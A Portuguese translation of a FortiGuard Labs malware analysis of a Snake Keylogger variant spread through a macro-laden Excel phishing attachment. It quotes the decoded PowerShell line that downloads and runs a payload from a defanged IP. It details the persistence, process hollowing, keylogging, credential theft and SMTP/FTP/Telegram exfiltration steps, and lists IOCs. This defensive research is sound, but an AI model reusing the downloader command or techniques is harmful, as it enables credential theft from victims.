blank

blank

Relatório de pesquisa de ameaças do FortiGuard Labs

Plataformas afetadas: Microsoft Windows
Partes afetadas: Usuários do Windows
Impacto: coleta informações confidenciais do dispositivo das vítimas
Nível de gravidade: Crítico
TAGS: snakesnake keyloggerkeyloggerpowershellMicrosoft ExcelMalicious document
FAMÍLIAS DE MALWARE: SnakeSnake Keylogger
ATT&CK IDS: T1056 – Captura de entradaT1115 – Dados da área de transferênciaT1071 – protocolo de camada de aplicativoT1055 – Injeção de ProcessoT1137 – Inicialização do aplicativo OfficeT1113 – Captura de telaT1010 – Descoberta de janela de aplicativoT1106 – API nativaT1012 – Registro de ConsultaT1547 – Execução de inicialização automática de inicialização ou logonT1027 – Arquivos ou informações ofuscadosT1204 – Execução do usuárioT1566 – Phishing

O FortiGuard Labs da Fortinet recentemente capturou uma amostra do Microsoft Excel que foi usada para espalhar malware . Depois de pesquisar seus comportamentos, eu o reconheci como uma nova variante do malware Snake Keylogger.

Snake Keylogger é um malware desenvolvido usando .NET. Ele apareceu pela primeira vez no final de 2020 e focava no roubo de informações confidenciais do dispositivo da vítima, incluindo credenciais salvas, as teclas digitadas pela vítima, capturas de tela da tela da vítima e dados da área de transferência. 

Em julho de 2021, o Snake Keylogger entrou pela primeira vez em um relatório das 10 famílias de malware mais populares, o que significa que a família Snake Keylogger está aumentando sua influência e impactando mais dispositivos e dados confidenciais de pessoas.

Neste blog de pesquisa de ameaças, você aprenderá como a variante do Snake Keylogger é baixada e executada por meio de uma amostra do Excel capturada, quais técnicas essa variante usa para protegê-la de análise, quais informações confidenciais ela rouba da máquina da vítima e como as envia coletou dados para o invasor. 

Aqui vamos nós.

Qual é a aparência do exemplo capturado do Microsoft Excel

Este exemplo do Excel, entregue como um anexo em um e-mail de phishing, contém código VBA Macro malicioso. A Figura 1.1 mostra uma captura de tela de quando ele é aberto. Ele exibe uma imagem vaga de um documento e pede que a vítima clique no botão amarelo para obter uma imagem mais nítida.

blank
Figura 1.1 – O conteúdo do arquivo Excel quando aberto

Depois que o botão amarelo “Habilitar Conteúdo” é clicado pela vítima, o código malicioso do VBA é executado em segundo plano. O projeto de macro mal-intencionado que contém o código VBA mal-intencionado é protegido por senha, portanto, não pode ser visualizado pelo analisador. No entanto, pudemos modificar seu arquivo binário para remover essa restrição.

Percorrendo seu código, um método “Workbook_Activate ()” é automaticamente chamado quando o documento é aberto. Ele grava uma parte do código do PowerShell de uma variável local em um arquivo BAT. A Figura 1.2 mostra o código VBA parcial desse método, onde a variável “s” contém o código do PowerShell e “Gqyztfbtsogpnruooqr.bat” é o arquivo BAT, que é finalmente executado chamando o código “x = Shell (bat, 0)”.

blank
Figura 1.2 – Código VBA macro executado em segundo plano

A parte inferior da Figura 1.2 mostra o conteúdo da variável “s”, que contém o código do PowerShell codificado em base64 que é decodificado pelo PowerShell.exe quando executado. 

Abaixo está o código do PowerShell decodificado em base64:

$ProcName = “Wheahmnfpgaqse.exe”;
(Novo objeto System.Net.WebClient). DownloadFile (“hxxp[:]//3[.]64[.]251[.]139/v3/2/ Requests07520000652.exe”, “$env:APPDATA\$ProcName”);
Start-Process  (“$env:APPDATA\$ProcName”)

O código do PowerShell é muito simples e fácil de entender. Ele baixa um arquivo (“Requests07520000652.exe”) no dispositivo da vítima, coloca-o em “%AppData%\Wheahmnfpgaqse.exe” chamando “DownloadFile ()” e o executa chamando “Start-Process()”.

Snake Keylogger Downloader

Depois de alguma pesquisa, descobri que o arquivo “Wheahmnfpgaqse.exe” é um downloader do Snake Keylogger, que é um programa .Net. Quando ele começa, ele dorme 21 segundos para ignorar essas caixas de proteção com uma estratégia de matar um processo de amostra quando um tempo limite de inatividade é acionado.

blank
Figura 2.1 – Downloads e descriptografar o módulo Snake Keylogger após um sono

Vinte e um segundos depois, o downloader invoca uma função chamada “Consturctor()”, como você pode ver na Figura 2.1. Em seguida, ele chama outra função “Program.List_Types()”, onde baixa o módulo Snake Keylogger do link “hxxps[:]//store2[.]Gofile[.]Io/download/0283e6ba-afc6-4dcb-b2f4-3173d666e2c4/Huzeigtmvaplpinhoo.dll ”, que é um arquivo DLL criptografado por RC4. Em seguida, ele chama a função “ToRc()” para o RC4 descriptografá-lo usando uma chave de descriptografia “Dllzjn”.

Em seguida, ele carrega o módulo Dll descriptografado (um arquivo .Net Dll, chamado “Huzeigtmvaplpinhoo.dll”) e enumera suas funções de exportação para encontrar “G6doICqoMU()”, que é invocado executando “type.InvokeMember (\”G6doICqoMU\”, BindingFlags.InvokeMethod, null, null, null)” na função Consturctor (), conforme mostrado na Figura 2.1. O .Net Dll descriptografado é um dropper e instalador do Snake Keylogger. 

Vamos mergulhar neste módulo para ver como ele executa suas tarefas.

Instalador do Snake Keylogger

De acordo com minha análise, o módulo Dll descriptografado (“Huzeigtmvaplpinhoo.dll”) implanta o Snake Keylogger no dispositivo da vítima e o define como um programa de execução automática. Ele extrai um arquivo PE executável para a memória do diretório de recursos e, em seguida, executa o esvaziamento do processo que injeta o arquivo PE executável em um processo filho recém-criado e o executa. 

Explicarei em detalhes como ele executa essas funções nesta seção.

1. Mecanismo de Persistência 

blank
Figura 3.1 – Quebras na função de exportação “G6doICqoMU ()” no depurador dnSpy

A Figura 3.1 mostra um esboço do módulo Dll descriptografado (“Huzeigtmvaplpinhoo.dll”). Como você pode ver, para evitar que seu código seja analisado, o arquivo é ofuscado de forma que os nomes das classes, das funções e das variáveis ​​sejam todos strings sem sentido geradas aleatoriamente. Isso cria problemas para os analistas ao analisá-lo. 

O nome completo da função de exportação “G6doICqoMU()” é “Huzeigtmvaplpinhoo! PXfqpio3clcAoFxTnfJ.CORFgLoyRGlurYwdwIh.G6doICqoMU()”. Novamente, pelo mesmo motivo de antes, ele dorme 35 segundos no início dessa função para contornar alguns sistemas de análise de malware.

Em seguida, ele funciona para tornar este Snake Keylogger persistente no Windows infectado. Como todos sabemos, um sistema Windows possui uma pasta “Startup” dentro do “Menu Iniciar”. Os programas dentro desta pasta são iniciados quando o Windows é inicializado. O caminho completo para esta pasta é definido no registro do sistema com um valor de string de “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup” e “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup ”. Os dados do valor de “Inicializar” são C: \Usuários\{Nome do usuário}\AppData\Roaming\Microsoft\Windows\Menu Iniciar\Programas\Inicializar ”por padrão. 

Esta variante do Snake Keylogger muda os valores de “Startup” para outras pastas. A Figura 3.2 mostra o código alterando a pasta de inicialização do Windows para “C: \ Usuários\M0YTes0Env\AppData\Roaming\Microsoft\Windows\Menu Iniciar\Programas\chsg \” chamando a API SetValue(). Na metade inferior da Figura 3.2, você pode ver o conteúdo do caminho do registro do sistema, o nome do valor e os novos dados do valor.

blank
Figura 3.2 – Altere a pasta “Inicializar” do Windows para um novo caminho

“Chsg” é uma nova pasta criada pelo Snake Keylogger. O programa copia o arquivo Snake Keylogger (o “Wheahmnfpgaqse.exe” baixado) para esta pasta e o renomeia como “sgosr.exe”. Isso garante que o Snake Keylogger será iniciado pelo sistema Windows toda vez que for iniciado.

2. Extração do recurso 

Embora o conteúdo do Huzeigtmvaplpinhoo.dll apareça apenas na memória, para analisá-lo salvei em um arquivo local. Ele possui vários recursos no diretório Resource, conforme mostrado a seguir na Figura 3.3.

blank
Figura 3.3 – Exibição do diretório de recursos de Huzeigtmvaplpinhoo.dll

O processo de extração do arquivo de carga útil do Snake Keylogger é um pouco complicado. Ele usa uma maneira complicada de carregar o recurso. Ele tem uma função de retorno de chamada local definida por ResolveEventHandler que é registrada para AppDomain.ResourceResolve, que é então chamada quando falha ao carregar um recurso por nome. Parece um manipulador de exceções para a estratégia do Windows SEH para lidar com exceções. Além disso, ele tem outra função de retorno de chamada local registrada em AppDomain.AssemblyResolve, que é chamada quando falha ao carregar um assembly (como um módulo) por nome.

Abaixo está um pseudocódigo de registro de uma resolução de recurso local, onde T9wOjU5ccxTJaVfUntn.Osc50oil0l é a função de retorno de chamada local.

AppDomain.ResourceResolve + = novo ResolveEventHandler (T9wOjU5ccxTJaVfUntn.Osc50oil0l)

Agora, vamos ver como o Snake Keylogger resolve esse desafio – carregar um recurso inexistente, o que irá disparar a falha de carregamento do recurso. Ele planeja ler um Recurso denominado “Qkxkikeg” do módulo atual, que não possui esse recurso denominado no diretório de Recurso, como você pode ver na Figura 3.3. Ocorre uma falha no carregamento do recurso e a função ResolveEventHandler local registrada é chamada para resolver esse erro. Isso causa uma falha de carregamento do assembly e sua função de retorno de chamada de resolução de assembly é chamada.

Um pouco depois, outro arquivo PE, descriptografado do recurso “{d977ee8c-85ce-4731-b9a1-323ba88c6eeb}”, aparece na memória. Ele contém um recurso com o nome “Qkxkikeg”, que é o nome do recurso da solicitação original, conforme mostrado na Figura 3.4.

blank
Figura 3.4 – O recurso “Qkxkikeg” está em outro módulo

A carga útil do Snake Keylogger é apenas compactada no formato GZIP no recurso “Qkxkikeg” no diretório Resource “ClassLibrary1.Properties.Resources”.

A Figura 3.5 exibe os dados GZIP do recurso “Qkxkikeg” (invertido) à esquerda e o Snake Keylogger descompactado à direita.

blank
Figura 3.5 – Dados compactados e descompactados de “Qkxkikeg”

3. Processo de esvaziamento

O programa então cria um processo filho suspenso e implementa a carga útil do Snake Keylogger compactada no processo filho. Em seguida, ele retoma a execução do processo filho. Enquanto isso, o processo pai sai chamando a função Environment.Exit(0).

blank
Figura 3.6 – Criar um processo filho suspenso

De acordo com o código da Figura 3.6, ele está prestes a chamar a API CreateProcess () para criar o processo filho com o Creation Flag 134217732U (0x8000004), que significa CREATE_NO_WINDOW e CREATE_SUSPENDED.

Em seguida, ele chama a API WriteProcessMemory () para copiar a carga útil do Snake Keylogger no processo filho, seção por seção. Em seguida, ele chama SetThreadContext () para fazer com que o processo filho aponte para a função de ponto de entrada do Snake Keylogger. Antes da saída do processo pai, uma API ResumeThread () é chamada para que o processo filho seja restaurado para execução.

Carga útil do Snake Keylogger

blank
Figura 4.1 – Carga útil do Snake Keylogger totalmente ofuscada

O código do arquivo de carga útil do Snake Keylogger é totalmente ofuscado, conforme mostrado na Figura 4.1, para protegê-lo de ser analisado. Os nomes das classes e funções são ilegíveis.

Portanto, para analisar e explicar melhor seu código e intenção, desofuscou o arquivo de carga útil usando a ferramenta “de4dot”. Isso tornou seu código mais legível e minha análise é baseada nesse resultado.

Analisando o código do Snake Keylogger, percebi que ele fornece recursos como gravar as teclas digitadas pela vítima (o keylogger), roubar dados da área de transferência, obter a captura de tela da vítima, roubar os dados da área de transferência do sistema, bem como roubar credenciais salvas para alguns clientes de software especificados instalados no dispositivo da vítima.

1. Recurso Keylogger

A Figura 4.2 mostra um trecho de código de configuração do keylogger.

blank
Figura 4.2 – Inicialização do Keylogger

Ele chama API SetWindowsHookExA () para registrar uma função de retorno de chamada de gancho (this.callback_ProcessKey ()) para monitorar eventos de entrada de teclado de baixo nível. O primeiro parâmetro é o tipo de gancho, onde “13” indica WH_KEYBOARD_LL.

Depois disso, a função de retorno de chamada é chamada pelo sistema Windows quando a vítima digita, para que seja capaz de controlar e registrar as teclas digitadas em uma variável de string global. Ele também registra o título da janela em primeiro plano para identificar onde a vítima digita, chamando as APIs GetForegroundWindow () e GetWindowText ().

Ele também possui um Timer (Timer0) que continua enviando os dados do keylogger para o invasor.

2. Captura de tela

É capaz de fazer capturas de tela do dispositivo da vítima. Possui um Timer (Timer1), que captura as imagens da vítima de vez em quando chamando API CopyFromScreen (). Ele salva a captura de tela em um arquivo Screenshot.png local na pasta “MeusDocumentos” do sistema. Ele também envia esse arquivo de imagem para o invasor.

3. Área de transferência do sistema 

Possui dois temporizadores. Um (Time2) é usado para coletar dados da área de transferência do sistema chamando Clipboard.GetText() e salvando em uma variável global. O outro (Time3) é usado para enviar dados coletados da área de transferência para o invasor. 

blank
Figura 4.3 – Função de cronômetro para obter dados da área de transferência do sistema

A Figura 4.3 mostra a função Timer usada para obter os dados da área de transferência do sistema. Cada vez que faz a contagem regressiva, ele verifica se os dados atuais da área de transferência foram coletados na variável global main_cls.string_clipboard_data. Caso contrário, ele anexa os dados atuais da área de transferência à variável global.

4. Roubar credenciais

Com base na minha análise, o principal trabalho dessa variante é roubar credenciais do dispositivo da vítima. Ele implementa o roubo de credenciais na função Main(), conforme mostrado na Figura 4.4 abaixo.

blank
Figura 4.4 – Main () com funções para roubar credenciais e enviá-las

Esta é a função Main () desofuscada que mostra as funções usadas para roubar credenciais de vários clientes. A função na parte inferior envia as credenciais roubadas. Essas funções obtêm as credenciais salvas para cada software a partir dos diferentes locais onde estão salvando suas credenciais, incluindo arquivos locais (como Chrome) e registro do sistema (como Outlook), etc.

Agora vou usar o Outlook como um exemplo para explicar como o Snake Keylogger coleta credenciais.

A Figura 4.5 é uma captura de tela de uma função que está prestes a ler as credenciais do Microsoft Outlook no registro do sistema. Ele passa por quatro caminhos de registro para diferentes versões do Outlook para ler (se aplicável) “E-mail” e “Senha IMAP” ou “Senha POP3” ou “Senha HTTP” ou “Senha SMTP” e “Servidor SMTP”.

blank
Figura 4.5 – Função para coletar credenciais salvas para o Microsoft Outlook

Abaixo está um exemplo que mostra quais informações de credenciais o Snake Keylogger pode coletar do Microsoft Outlook:

——– Snake Keylogger ——–

Encontrado em: Outlook

URL: smtp.gmail.com

E-mail: [email protected]

PSWD: {senha}

———————————

Eu classifiquei os clientes nos quais o Snake Keylogger se concentra como abaixo:

Navegadores da web:

Google Chrome, Mozilla Firefox, navegador Mozilla SeaMonkey, navegador Mozilla IceCat, navegador Yandex, Microsoft Edge, navegador Amigo, navegador Nichrome, QQBrowser, navegador Coccoc, navegador Orbitum, navegador Slimjet, navegador Iridium, navegador Vivaldi, navegador Iron, navegador Ghost, Cent Navegador, Navegador Xvast, Navegador Chedot, Navegador SuperBird, Navegador 360, Navegador 360 Secure, Navegador Comodo Dragon, Navegador Brave, Navegador Torch, Navegador UC, Navegador Blisk, Navegador Epic Privacy, Navegador Opera Web, Navegador Liebao, Navegador Avast, Kinza Navegador, navegador BlackHawk, navegador Citrio, navegador Uran, navegador Coowon, navegador 7 estrelas, navegador QIP Surf, navegador Sleipnir, navegador Chrome Canary, navegador CoolNovo, navegador SalamWeb, extensão do navegador Sputnik, navegador Falkon, navegador Elements, navegador Slim, Ice Dragon Navegador, navegador CyberFox, navegador PaleMoon, navegador Waterfox,Kometa Browser e vários navegadores desenvolvidos com base no projeto Chromium.

Clientes de e-mail:

Microsoft OutLook, Tencent Foxmail, Mozilla Thunderbird e Postbox.

Outros clientes:

FileZilla, Pidgin e Discord.

Envio de dados roubados ao invasor

De acordo com o código desta variante do Snake Keylogger, ele envia um e-mail ao invasor (usando o protocolo SMTP) para enviar os dados de credenciais roubados da vítima.

O Snake Keylogger coleta informações básicas sobre o sistema Windows da vítima, como nome de usuário, nome do PC, data e hora do sistema, endereço IP público e país, que são colocadas no cabeçalho das credenciais coletadas.

blank
Figura 5.1 – Criar e-mail com credenciais roubadas

A Figura 5.1 mostra como criar o e-mail com credenciais roubadas para ser enviado ao invasor. A parte inferior é o assunto e o corpo do e-mail. As credenciais roubadas são colocadas em dois anexos, “Passwords.txt” e “User.txt”. A Figura 5.2 é uma captura de tela de “Password.txt” anexada ao e-mail enviado ao invasor com informações básicas e credenciais roubadas do meu sistema Windows de teste.

blank
Figura 5.2 – Exemplo de “Password.txt”

Para enviar dados roubados ao invasor, ele define algumas variáveis ​​contendo o endereço de e-mail do remetente, a senha, o endereço do servidor SMTP e a porta SMTP, conforme mostrado na figura 5.3. Ele define as variáveis ​​na função construtora da classe.

Além de enviar dados por e-mail, esta variante do Snake Keylogger também oferece métodos FTP e Telegram para enviar os dados confidenciais coletados ao invasor. 

Para FTP, o invasor precisa configurar um servidor FTP e então dizer ao Snake Keylogger o endereço do servidor FTP e as credenciais para o Snake Keylogger carregar dados confidenciais roubados.

Para o Telegram, o Snake Keylogger usa o método “sendDocument” do “Telegram Bot API” para enviar seus dados roubados para a conta do Telegram fornecida pelo invasor. Consulte a Figura 5.4 para obter mais informações sobre o método de Telegram.

blank
Figura 5.4 – Código parcial de envio de dados usando Telegram

Conclusão sobre o malware Snake Keylogger 

Para entender melhor todo o processo desse malware, desenhei um fluxograma na Figura 6.1 que descreve as principais etapas explicadas nesta análise.

blank
Figura 6.1 – O fluxograma da variante do Snake Keylogger

No início desta análise, vimos como uma macro maliciosa dentro de um documento Excel executa o PowerShell que baixa o downloader do Snake Keylogger. 

A seguir, concentrei-me mais em como o instalador do Snake Keylogger executa persistência no dispositivo da vítima e na maneira complicada e complicada como ele extrai a carga útil do Snake Keylogger.

Em seguida, elaborei os recursos que esta variante do Snake Keylogger oferece, como gravação de pressionamentos de tecla, coleta de dados de credenciais, dados da área de transferência e capturas de tela. 

Por fim, expliquei como os dados coletados são enviados ao invasor por e-mail, além de dois outros métodos: FTP e Telegram.

Proteções

A macro maliciosa dentro da amostra do Excel pode ser desarmada pelo serviço FortiGuard CDR (desarmamento e reconstrução de conteúdo).

Todos os URLs relevantes foram classificados como ” Sites Maliciosos ” pelo serviço FortiGuard Web Filtering.

A amostra original do Excel e os arquivos de download do Snake Keylogger são detectados como ” VBA/SnakeKeylogger.84D0! Tr ” e ” MSIL/SnakeKeylogger.ADFA! Tr ” e são bloqueados pelo serviço FortiGuard AntiVirus.

IOCs

URLs:

“hxxp[:]//3[.]64[.]251[.]139/v3/2/Requests07520000652.exe”
“hxxps[:]//store2[.]gofile[.]io/download/0283e6ba-afc6-4dcb-b2f4-3173d666e2c4/Huzeigtmvaplpinhoo.dll”

Amostra SHA-256:

[SOA# 1769.xlsm]
3B437BAA9A07E9DECE2659F20B5D97F8F729BA077D399933041CDC656C8D4D04

[Requests07520000652.exe or Wheahmnfpgaqse.exe]
53D520C1F12FE4E479C6E31626F7D4ABA5A65D107C1A13401380EBCA7CCA5B05

Referências:

https://blog.checkpoint.com/2021/08/12/july-2021s-most-wanted-malware-snake-keylogger-enters-top-10-for-first-time/
https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.assemblyresolve?view=net-5.0
https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.resourceresolve?view=net-5.0

 

Fonte: FortNet


Descubra mais sobre DCiber

Assine para receber os posts mais recentes por e-mail.